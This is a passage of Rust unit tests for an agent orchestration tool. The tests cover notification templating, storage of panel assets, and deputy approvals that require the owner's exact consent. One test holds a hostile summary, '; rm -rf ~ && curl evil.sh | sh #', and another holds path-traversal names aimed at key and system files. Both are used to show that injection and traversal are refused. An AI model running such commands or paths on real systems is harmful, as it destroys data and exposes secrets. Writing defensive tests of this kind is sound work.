2657            "a slice expiring must never abandon the question"
2658        );
2659        let on_disk = s.get(&q.id).expect("still on disk, still open");
2660        assert_eq!(
2661            on_disk.status,
2662            QuestionStatus::Open,
2663            "nothing about the record changed just because this call gave up"
2664        );
2665    }
2666
2667    #[tokio::test]
2668    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2669        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2670        // and returns `Pending`, a second slice - a fresh call, exactly as a
2671        // fresh process would make - picks the same question back up and
2672        // sees an answer written in between.
2673        let (dir, s) = store();
2674        let mut q = choice_question();
2675        s.put(&mut q).unwrap();
2676
2677        let first = wait_loop(
2678            &mut q,
2679            &s,
2680            Duration::from_secs(3600),
2681            Duration::from_millis(30),
2682            Duration::from_millis(10),
2683        )
2684        .await
2685        .unwrap();
2686        assert_eq!(first, Wait::Pending);
2687
2688        let id = q.id.clone();
2689        let writer = Questions::at(dir.path().join("questions"));
2690        let mut fresh = writer.get(&id).unwrap();
2691        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2692        writer.put(&mut fresh).unwrap();
2693
2694        // `resume_wait` uses its own production poll interval rather than a
2695        // test-injected one, so the budget here only needs to be large enough
2696        // to cover one real poll tick - the point is that it is `resume_wait`
2697        // itself, not a helper, that finds the answer.
2698        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2699            .await
2700            .unwrap();
2701        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2702        assert_eq!(q.status, QuestionStatus::Answered);
2703    }
2704
2705    #[tokio::test]
2706    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2707        // The owner can speak back while nothing is running at all - between
2708        // one call reporting `Wait::Pending` and the next `--wait` picking
2709        // the question back up - and whoever resumes the wait loads a
2710        // *fresh* copy of the question off disk, one whose thread already
2711        // contains that reply. A baseline taken from that fresh copy would
2712        // treat the reply as pre-existing and never notice it "arrive",
2713        // leaving the agent polling in silence until `answer_timeout`
2714        // eventually abandons the question - replacing the exact accident
2715        // this feature exists to fix with a quieter version of itself.
2716        let (dir, s) = store();
2717        let mut q = choice_question();
2718        s.put(&mut q).unwrap();
2719
2720        let first = wait_loop(
2721            &mut q,
2722            &s,
2723            Duration::from_secs(3600),
2724            Duration::from_millis(30),
2725            Duration::from_millis(10),
2726        )
2727        .await
2728        .unwrap();
2729        assert_eq!(first, Wait::Pending);
2730
2731        // The owner speaks back during the gap, with nobody running yet.
2732        let id = q.id.clone();
2733        let writer = Questions::at(dir.path().join("questions"));
2734        let mut fresh = writer.get(&id).unwrap();
2735        fresh.say("why not Postgres?").unwrap();
2736        writer.put(&mut fresh).unwrap();
2737
2738        // `magi ask --wait` re-reads the question rather than reusing the
2739        // stale in-memory copy the earlier call held - so the copy handed to
2740        // `resume_wait` here already carries the reply, same as `fresh` above.
2741        let mut resumed = s.get(&id).unwrap();
2742        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2743            .await
2744            .unwrap();
2745        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2746        assert_eq!(
2747            resumed.status,
2748            QuestionStatus::Open,
2749            "talking back is not a decision; the question stays open"
2750        );
2751    }
2752
2753    #[tokio::test]
2754    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2755        // A broken webhook must not throw away an implementation, so the wait
2756        // reports the failure and carries on. `notify` itself still says what
2757        // went wrong, because `magi notify --test` has to be able to show it.
2758        let (dir, s) = store();
2759        let broken = config::Notify {
2760            command: vec![
2761                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2762                "{summary}".to_owned(),
2763            ],
2764        };
2765        let mut q = choice_question();
2766        assert!(
2767            notify(&broken, &q).await.is_err(),
2768            "the caller is told; it decides that it does not matter"
2769        );
2770
2771        let id = q.id.clone();
2772        let writer = Questions::at(dir.path().join("questions"));
2773        let handle = tokio::spawn(async move {
2774            tokio::time::sleep(Duration::from_millis(30)).await;
2775            let mut fresh = writer.get(&id).unwrap();
2776            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2777            writer.put(&mut fresh).unwrap();
2778        });
2779        let got = wait_for_owner(
2780            &mut q,
2781            &s,
2782            &broken,
2783            Duration::from_secs(5),
2784            Duration::from_millis(10),
2785        )
2786        .await
2787        .unwrap();
2788        handle.await.unwrap();
2789        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2790
2791        // No command at all is the default, and is silence rather than failure.
2792        assert!(notify(&quiet(), &q).await.is_ok());
2793        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2794    }
2795
2796    #[tokio::test]
2797    async fn external_question_notification_names_the_supported_response_path() {
2798        let dir = tempfile::tempdir().unwrap();
2799        let path = dir.path().join("page");
2800        let cmd = config::Notify {
2801            command: vec![
2802                "sh".into(),
2803                "-c".into(),
2804                "printf '%s' \"$1\" > \"$2\"".into(),
2805                "notify".into(),
2806                "{summary}".into(),
2807                path.to_string_lossy().into_owned(),
2808            ],
2809        };
2810        let q = choice_question();
2811        notify(&cmd, &q).await.unwrap();
2812        let sent = std::fs::read_to_string(&path).unwrap();
2813        assert!(sent.starts_with("Question "));
2814        assert!(sent.contains(&q.summary));
2815        assert!(sent.contains(&format!("magi answer {}", q.id)));
2816        notify_text(&cmd, "", "Informational report. No reply needed.")
2817            .await
2818            .unwrap();
2819        assert_eq!(
2820            std::fs::read_to_string(&path).unwrap(),
2821            "Informational report. No reply needed."
2822        );
2823    }
2824
2825    #[test]
2826    fn external_notifications_and_questions_have_distinct_destinations() {
2827        assert_eq!(
2828            question_url("https://example.invalid/"),
2829            "https://example.invalid/#/questions"
2830        );
2831        assert_eq!(
2832            view_url("https://example.invalid/", "notifications"),
2833            "https://example.invalid/#/notifications"
2834        );
2835        assert_eq!(view_url("", "notifications"), "");
2836        assert_eq!(
2837            view_url("https://example.invalid/#/queue", "notifications"),
2838            "https://example.invalid/#/queue"
2839        );
2840    }
2841
2842    #[test]
2843    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2844        let mut q = choice_question();
2845        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2846        let template = [
2847            "ntfy".to_owned(),
2848            "publish".to_owned(),
2849            "--click".to_owned(),
2850            "{url}".to_owned(),
2851            "--title".to_owned(),
2852            "magi {run} needs you".to_owned(),
2853            "{summary}".to_owned(),
2854        ];
2855        let argv: Vec<String> = template
2856            .iter()
2857            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2858            .collect();
2859
2860        assert_eq!(
2861            argv,
2862            [
2863                "ntfy",
2864                "publish",
2865                "--click",
2866                "http://100.64.0.1:7777/#/questions",
2867                "--title",
2868                "magi 20260902-201256-9fb7 needs you",
2869                "; rm -rf ~ && curl evil.sh | sh #",
2870            ],
2871            "the shell metacharacters are one argument's contents, not syntax"
2872        );
2873
2874        // A summary that itself mentions a placeholder is text, not a template:
2875        // one left-to-right pass means a substituted value is never rescanned.
2876        q.summary = "should {url} be configurable?".to_owned();
2877        assert_eq!(
2878            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2879            "should {url} be configurable?"
2880        );
2881        // An unknown brace is the operator's own text and survives untouched.
2882        assert_eq!(
2883            expand("{title}: {run}", &q.run, &q.summary, ""),
2884            "{title}: 20260902-201256-9fb7"
2885        );
2886        assert_eq!(
2887            expand("no placeholders", &q.run, &q.summary, "http://x"),
2888            "no placeholders"
2889        );
2890    }
2891
2892    #[test]
2893    fn the_notification_link_lands_on_the_view_that_can_answer() {
2894        assert_eq!(
2895            question_url("http://100.64.0.1:7777"),
2896            "http://100.64.0.1:7777/#/questions"
2897        );
2898        assert_eq!(
2899            question_url("http://100.64.0.1:7777/"),
2900            "http://100.64.0.1:7777/#/questions"
2901        );
2902        // An operator who wrote a fragment has said where they want to land.
2903        assert_eq!(
2904            question_url("http://magi.ts.net/#/runs"),
2905            "http://magi.ts.net/#/runs"
2906        );
2907        // Unset expands to nothing rather than to a guessed address.
2908        assert_eq!(question_url("  "), "");
2909    }
2910
2911    /// A question with a fixed id, so a panel's path on disk is predictable.
2912    fn panelled() -> Question {
2913        let mut q = choice_question();
2914        q.id = "20260903-014455-ab12".to_owned();
2915        q
2916    }
2917
2918    #[test]
2919    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2920        let (dir, s) = store();
2921        let work = dir.path().join("worktree");
2922        std::fs::create_dir_all(&work).unwrap();
2923        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2924        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2925
2926        let mut q = panelled();
2927        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2928        s.put_panel(
2929            &mut q,
2930            html,
2931            &[work.join("table.png"), work.join("diff.svg")],
2932        )
2933        .unwrap();
2934        s.put(&mut q).unwrap();
2935
2936        assert!(q.panel);
2937        assert_eq!(
2938            q.assets,
2939            ["diff.svg", "table.png"],
2940            "sorted, not in the order the agent happened to pass them"
2941        );
2942        assert_eq!(
2943            s.panel_html(&q.id).as_deref(),
2944            Some(html),
2945            "the html is stored byte for byte; the agent authored the markup"
2946        );
2947        assert_eq!(
2948            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2949            Some(&b"<svg/>"[..])
2950        );
2951
2952        // The record on disk carries the same two fields the front end reads.
2953        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2954        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2955        assert_eq!(json["panel"], true);
2956        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2957        let back = s.get(&q.id).unwrap();
2958        assert!(back.panel);
2959        assert_eq!(back.assets, q.assets);
2960
2961        // The assets were copied, so the panel still renders after `magi fold`
2962        // has deleted the candidate worktree the agent authored it in.
2963        std::fs::remove_dir_all(&work).unwrap();
2964        assert_eq!(
2965            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2966            Some(&b"\x89PNG"[..]),
2967            "a referenced asset would be gone with the worktree"
2968        );
2969    }
2970
2971    #[test]
2972    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2973        let (dir, s) = store();
2974        let mut q = panelled();
2975        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2976        s.put(&mut q).unwrap();
2977
2978        // A file exactly one level up from the panel directory - which is
2979        // where `..` lands - holding content a read would make visible.
2980        let secret = "this must never reach the browser";
2981        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2982        assert_eq!(
2983            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2984            secret,
2985            "the traversal is real: the operating system resolves this path \
2986             happily, which is why the name has to be refused before the join"
2987        );
2988
2989        let long = "x".repeat(200);
2990        for name in [
2991            "..",
2992            "../id_rsa",
2993            "..\\id_rsa",
2994            "sub/../id_rsa",
2995            "/",
2996            "\\",
2997            "/etc/passwd",
2998            "C:\\Windows\\win.ini",
2999            "",
3000            ".hidden",
3001            ".",
3002            long.as_str(),
3003        ] {
3004            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3005            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3006            assert!(
3007                e.contains("not a panel file name"),
3008                "`{name}` must be refused as a name, not attempted: {e}"
3009            );
3010            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3011        }
3012        // A name that is allowed still finds its file, so the refusals above
3013        // were the rule at work and not a store that reads nothing.
3014        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3015
3016        // The same rule on the write side, where the name comes from a source
3017        // file's base name, and a refusal leaves the stored panel untouched.
3018        let hidden = dir.path().join(".hidden");
3019        std::fs::write(&hidden, "x").unwrap();
3020        let e = s
3021            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3022            .unwrap_err()
3023            .to_string();
3024        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3025        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3026        assert!(q.assets.is_empty());
3027    }
3028
3029    #[test]
3030    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3031        let (dir, s) = store();
3032        let mut q = panelled();
3033        s.put(&mut q).unwrap();
3034
3035        // Sized rather than filled: the cap reads the file's length, and a
3036        // test that actually produced eight mebibytes would only be slower.
3037        let big = dir.path().join("recording.png");
3038        std::fs::File::create(&big)
3039            .unwrap()
3040            .set_len(PANEL_MAX_BYTES)
3041            .unwrap();
3042
3043        let html = "<p>see the recording</p>";
3044        let total = PANEL_MAX_BYTES + html.len() as u64;
3045        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3046        assert!(
3047            e.contains(&PANEL_MAX_BYTES.to_string()),
3048            "the cap is named so the agent knows the limit: {e}"
3049        );
3050        assert!(
3051            e.contains(&total.to_string()),
3052            "the actual size is named so the agent knows by how much: {e}"
3053        );
3054
3055        assert!(!q.panel);
3056        assert!(q.assets.is_empty());
3057        let left: Vec<String> = std::fs::read_dir(s.root())
3058            .unwrap()
3059            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3060            .collect();
3061        assert_eq!(
3062            left,
3063            [format!("{}.json", q.id)],
3064            "a refused panel leaves neither a directory nor scratch: {left:?}"
3065        );
3066    }
3067
3068    #[test]
3069    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3070        let (dir, s) = store();
3071        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3072        std::fs::create_dir_all(&before).unwrap();
3073        std::fs::create_dir_all(&after).unwrap();
3074        std::fs::write(before.join("diff.png"), "before").unwrap();
3075        std::fs::write(after.join("diff.png"), "after").unwrap();
3076
3077        let mut q = panelled();
3078        let e = s
3079            .put_panel(
3080                &mut q,
3081                "<p>x</p>",
3082                &[before.join("diff.png"), after.join("diff.png")],
3083            )
3084            .unwrap_err()
3085            .to_string();
3086        assert!(e.contains("diff.png"), "{e}");
3087        assert!(
3088            e.contains("before") && e.contains("after"),
3089            "both sources are named, because the fix is to rename one: {e}"
3090        );
3091        assert!(!q.panel);
3092        assert!(!s.panel_dir(&q.id).exists());
3093    }
3094
3095    #[test]
3096    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3097        let (dir, s) = store();
3098        std::fs::write(dir.path().join("old.png"), "old").unwrap();
3099        std::fs::write(dir.path().join("new.png"), "new").unwrap();
3100
3101        let mut q = panelled();
3102        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3103            .unwrap();
3104        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3105            .unwrap();
3106
3107        assert_eq!(q.assets, ["new.png"]);
3108        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3109        assert!(
3110            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3111            "an asset from the first attempt would show a mix of two answers"
3112        );
3113
3114        s.drop_panel(&q.id).unwrap();
3115        assert!(s.panel_html(&q.id).is_none());
3116        assert!(!s.panel_dir(&q.id).exists());
3117        s.drop_panel(&q.id)
3118            .expect("dropping a panel that is already gone is the desired state");
3119    }
3120
3121    #[test]
3122    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3123        let (_dir, s) = store();
3124        let mut q = panelled();
3125        s.put(&mut q).unwrap();
3126
3127        assert!(!q.panel);
3128        assert!(s.panel_html(&q.id).is_none());
3129        assert!(
3130            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3131            "a missing file is a 404 for the caller, not a failure of the store"
3132        );
3133        let json = serde_json::to_value(&q).unwrap();
3134        assert_eq!(json["panel"], false);
3135        assert_eq!(json["assets"], serde_json::json!([]));
3136
3137        // And an empty panel is refused, because an empty frame reads to the
3138        // owner as "the agent had nothing to say".
3139        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
3140        assert!(e.contains("empty panel"), "{e}");
3141        assert!(!s.panel_dir(&q.id).exists());
3142    }
3143
3144    #[test]
3145    fn a_question_written_before_panels_existed_still_deserialises() {
3146        let (_dir, s) = store();
3147        std::fs::create_dir_all(s.root()).unwrap();
3148        let id = "20260902-231501-ab12";
3149        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
3150        let body = r#"{
3151  "schema": 1,
3152  "id": "20260902-231501-ab12",
3153  "run": "20260902-201256-9fb7",
3154  "node": "implement",
3155  "seat": "impl-A",
3156  "summary": "Which storage backend should the cache use?",
3157  "detail": "Both are already dependencies.",
3158  "choices": ["SQLite", "Redis"],
3159  "status": "open",
3160  "asked_at": "2026-09-02T23:15:01Z",
3161  "answered_at": null,
3162  "answer": null
3163}"#;
3164        std::fs::write(s.path_of(id), body).unwrap();
3165
3166        let q = s.get(id).unwrap();
3167        assert!(
3168            !q.panel,
3169            "an absent field means no panel, not a parse error"
3170        );
3171        assert!(q.assets.is_empty());
3172        // Schema 1 predates `thread` entirely - not merely predates it having
3173        // any turns - and this build now speaks schema 3. Reading it must not
3174        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
3175        // accepted and the missing field defaults to no conversation yet.
3176        assert_eq!(q.schema, 1);
3177        assert!(q.thread.is_empty());
3178        assert_eq!(
3179            q.answer_timeout, 0,
3180            "an absent field means unrecorded, not a zero-second deadline"
3181        );
3182        assert!(!q.waiting_on_agent());
3183        assert_eq!(q.summary, "Which storage backend should the cache use?");
3184        assert_eq!(
3185            s.list().len(),
3186            1,
3187            "and it is still listed; skipping it would hide an open question"
3188        );
3189    }
3190
3191    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3192        Turn {
3193            who,
3194            body: body.to_owned(),
3195            at,
3196            note: None,
3197        }
3198    }
3199
3200    #[test]
3201    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3202        // The phone reads this shape by hand, same as the question itself: a
3203        // rename here is a card that silently drops every message in it.
3204        let mut q = choice_question();
3205        q.thread
3206            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3207        let value = serde_json::to_value(&q.thread[0]).unwrap();
3208        let mut keys: Vec<&str> = value
3209            .as_object()
3210            .unwrap()
3211            .keys()
3212            .map(String::as_str)
3213            .collect();
3214        keys.sort_unstable();
3215        assert_eq!(keys, ["at", "body", "who"]);
3216        assert_eq!(value["who"], "operator");
3217        assert_eq!(value["body"], "why not Postgres?");
3218
3219        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3220        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3221        assert_eq!(parsed.who, Who::Agent);
3222    }
3223
3224    fn approval_question() -> Question {
3225        let mut q = Question::new(
3226            "run".into(),
3227            crate::land::APPROVAL_NODE.into(),
3228            "land".into(),
3229            "Merge?".into(),
3230            String::new(),
3231            vec!["merge".into(), "hold".into()],
3232        );
3233        let mut dep = Deputy::new("brief".into());
3234        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3235        q.deputy = Some(dep);
3236        q
3237    }
3238
3239    #[test]
3240    fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3241        for choice in [
3242            crate::merge_decision::WITHDRAW,
3243            "reimplement:primary",
3244            "retry",
3245            "discard",
3246        ] {
3247            let mut q = approval_question();
3248            q.choices.push(choice.into());
3249            if matches!(choice, "retry" | "discard") {
3250                q.node = "recovery".into();
3251            }
3252            if choice == "discard" {
3253                q.actions.insert(choice.into(), ChoiceAction::Done);
3254            }
3255            let words = "おっけーそれぞれ回答してー";
3256            q.say(words).unwrap();
3257            let error = q
3258                .settle_by_deputy("deputy-x", choice, words, None)
3259                .unwrap_err()
3260                .to_string();
3261            assert!(
3262                error.contains(if choice == "retry" {
3263                    "manifest"
3264                } else {
3265                    "individual owner confirmation"
3266                }),
3267                "{choice}: {error}"
3268            );
3269            assert!(q.status.open());
3270        }
3271    }
3272
3273    #[test]
3274    fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3275        for choice in [
3276            crate::land::HOLD,
3277            crate::land::REPAIR,
3278            crate::merge_decision::WITHDRAW,
3279            "reimplement:beta",
3280        ] {
3281            let mut q = approval_question();
3282            q.node = crate::land::APPROVAL_NODE.into();
3283            q.choices = vec!["merge".into(), choice.into()];
3284            q.merge_target = Some(crate::merge_decision::Target {
3285                pr: "PR 42".into(),
3286                head: "abc".into(),
3287                language: "en".into(),
3288            });
3289            q.say(format!("Should we choose {choice}?")).unwrap();
3290            assert!(
3291                q.settle_by_deputy("deputy-x", choice, choice, None)
3292                    .is_err()
3293            );
3294            q.say(choice).unwrap();
3295            q.settle_by_deputy("deputy-x", choice, choice, None)
3296                .unwrap();
3297            assert_eq!(q.resolution().as_deref(), Some(choice));
3298        }
3299        let mut q = approval_question();
3300        q.node = crate::land::APPROVAL_NODE.into();
3301        q.choices = vec!["merge".into(), "hold".into()];
3302        q.merge_target = Some(crate::merge_decision::Target {
3303            pr: "PR 42".into(),
3304            head: "new-head".into(),
3305            language: "en".into(),
3306        });
3307        q.say("merge old-head").unwrap();
3308        assert!(
3309            q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3310                .is_err()
3311        );
3312        q.say("merge new-head").unwrap();
3313        q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3314            .unwrap();
3315    }
3316
3317    #[test]
3318    fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3319        let mut q = approval_question();
3320        q.choices.push(crate::land::REPAIR.into());
3321        q.say("maybe fix findings and re-review").unwrap();
3322        assert!(
3323            q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3324                .is_err()
3325        );
3326        q.say(crate::land::REPAIR).unwrap();
3327        q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3328            .unwrap();
3329        assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3330        assert_eq!(
3331            crate::land::approval(q.resolution().as_deref()),
3332            crate::land::Approval::Repair
3333        );
3334    }
3335
3336    #[test]
3337    fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3338        let mut q = approval_question();
3339        q.say("merge").unwrap();
3340        q.reply("sure?", vec!["merge".into(), "hold".into()])
3341            .unwrap();
3342        q.say(" Merge it please ").unwrap();
3343        assert!(
3344            q.settle_by_deputy("deputy-x", "merge", "   ", None)
3345                .is_err(),
3346            "an empty quote is refused"
3347        );
3348        assert!(
3349            q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3350                .is_err(),
3351            "a quote the owner never said is refused"
3352        );
3353        assert_eq!(q.status, QuestionStatus::Open);
3354        q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3355            .unwrap();
3356        assert_eq!(q.resolution().as_deref(), Some("merge"));
3357    }
3358
3359    #[test]
3360    fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3361        use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3362        let mk = || {
3363            let mut q = Question::new(
3364                "run".into(),
3365                crate::github_text::ASK_NODE.into(),
3366                crate::github_text::ASK_SEAT.into(),
3367                "s".into(),
3368                String::new(),
3369                vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3370            );
3371            let mut dep = Deputy::new("brief".into());
3372            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3373            q.deputy = Some(dep);
3374            q
3375        };
3376        let mut hedged = mk();
3377        hedged.say("Post the original, maybe?").unwrap();
3378        assert!(
3379            hedged
3380                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3381                .is_err()
3382        );
3383        let mut clear = mk();
3384        clear.say("Post the original text as it is.").unwrap();
3385        clear
3386            .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3387            .unwrap();
3388        assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3389        let mut japanese = mk();
3390        let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3391        japanese.say(words).unwrap();
3392        japanese
3393            .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3394            .unwrap();
3395        let mut unrelated = mk();
3396        unrelated.say("Proceed with the task").unwrap();
3397        assert!(
3398            unrelated
3399                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3400                .is_err()
3401        );
3402        for words in [
3403            "OK, post the original",
3404            "Yes, post original",
3405            "I'd like to post the original",
3406        ] {
3407            let mut natural = mk();
3408            natural.say(words).unwrap();
3409            natural
3410                .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3411                .unwrap();
3412        }
3413        for (message, quote) in [
3414            (
3415                "ログには「元の説明で投稿しました」と記録されています。",
3416                "ログには「元の説明で投稿しました」と記録されています。",
3417            ),
3418            (
3419                "ログには「元の説明で投稿してください」と記録されています。",
3420                "元の説明で投稿してください",
3421            ),
3422        ] {
3423            let mut descriptive = mk();
3424            descriptive.say(message).unwrap();
3425            assert!(
3426                descriptive
3427                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3428                    .is_err()
3429            );
3430            assert!(descriptive.status.open());
3431            assert!(descriptive.answer.is_none());
3432        }
3433        let mut descriptive = mk();
3434        let message = "Post original was the option I saw.";
3435        descriptive.say(message).unwrap();
3436        for quote in [message, "Post original"] {
3437            assert!(
3438                descriptive
3439                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3440                    .is_err()
3441            );
3442            assert!(descriptive.status.open());
3443            assert!(descriptive.answer.is_none());
3444        }
3445        // The changed text is the safe default: no extra guard beyond the quote.
3446        let mut safe = mk();
3447        safe.say("use the fallback").unwrap();
3448        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3449            .unwrap();
3450    }
3451
3452    #[test]
3453    fn posting_deputy_rejects_multiline_quoted_context() {
3454        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3455        for (command, choice) in [
3456            ("Post original", POST_ORIGINAL),
3457            ("Use rewrite", USE_REWRITE),
3458        ] {
3459            for message in [
3460                format!("The log contains:\n```\n{command}\n```"),
3461                format!("The log contains:\n\"\n{command}\n\""),
3462                format!("The log says: “Reported. {command}.”"),
3463                format!("The log says: “\n{command}\n”"),
3464            ]
3465            .into_iter()
3466            .chain(crate::github_text::reported_posting_messages(command))
3467            {
3468                let mut q = Question::new(
3469                    "run".into(),
3470                    ASK_NODE.into(),
3471                    ASK_SEAT.into(),
3472                    "s".into(),
3473                    String::new(),
3474                    vec![USE_FALLBACK.into(), choice.into()],
3475                );
3476                let mut dep = Deputy::new("brief".into());
3477                dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3478                q.deputy = Some(dep);
3479                q.say(&message).unwrap();
3480                let tmp = tempfile::tempdir().unwrap();
3481                let questions = Questions::at(tmp.path().join("questions"));
3482                questions.put(&mut q).unwrap();
3483                for quote in [command, message.as_str()] {
3484                    assert!(
3485                        questions
3486                            .update(&q.id, |stored| {
3487                                stored.settle_by_deputy("deputy-x", choice, quote, None)
3488                            })
3489                            .is_err()
3490                    );
3491                    let after = questions.get(&q.id).unwrap();
3492                    assert!(after.status.open());
3493                    assert!(after.answer.is_none());
3494                }
3495            }
3496        }
3497    }
3498
3499    #[test]
3500    fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3501        use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3502        let mk = || {
3503            let mut q = Question::new(
3504                "run".into(),
3505                crate::github_text::ASK_NODE.into(),
3506                crate::github_text::ASK_SEAT.into(),
3507                "s".into(),
3508                String::new(),
3509                vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3510            );
3511            let mut dep = Deputy::new("brief".into());
3512            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3513            q.deputy = Some(dep);
3514            q
3515        };
3516        let mut hedged = mk();
3517        hedged.say("Use the rewrite, maybe?").unwrap();
3518        assert!(
3519            hedged
3520                .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3521                .is_err()
3522        );
3523        let mut descriptive = mk();
3524        let message = "Use rewrite was the option I saw.";
3525        descriptive.say(message).unwrap();
3526        for quote in [message, "Use rewrite"] {
3527            assert!(
3528                descriptive
3529                    .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3530                    .is_err()
3531            );
3532            assert!(descriptive.status.open());
3533            assert!(descriptive.answer.is_none());
3534        }
3535        for words in [
3536            "Use the rewrite text as it is.",
3537            "I'd like to use the rewrite",
3538            "修正版で投稿してください。",
3539        ] {
3540            let mut clear = mk();
3541            clear.say(words).unwrap();
3542            clear
3543                .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3544                .unwrap();
3545            assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3546        }
3547        // The changed text is the safe default: no extra guard beyond the quote.
3548        let mut safe = mk();
3549        safe.say("use the fallback").unwrap();
3550        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3551            .unwrap();
3552    }
3553
3554    #[test]
3555    fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3556        let mk = |choices: Vec<String>| {
3557            let mut q = Question::new(
3558                String::new(),
3559                crate::bump::NOTICE_NODE.into(),
3560                "release-watch".into(),
3561                "Release?".into(),
3562                String::new(),
3563                choices,
3564            );
3565            let mut dep = Deputy::new("brief".into());
3566            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3567            q.deputy = Some(dep);
3568            q
3569        };
3570        let mut approval = mk(vec!["merge".into(), "hold".into()]);
3571        assert!(crate::deputy::merge_gated(&approval));
3572        approval.say("マージしていいよ").unwrap();
3573        assert!(
3574            approval
3575                .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3576                .is_err(),
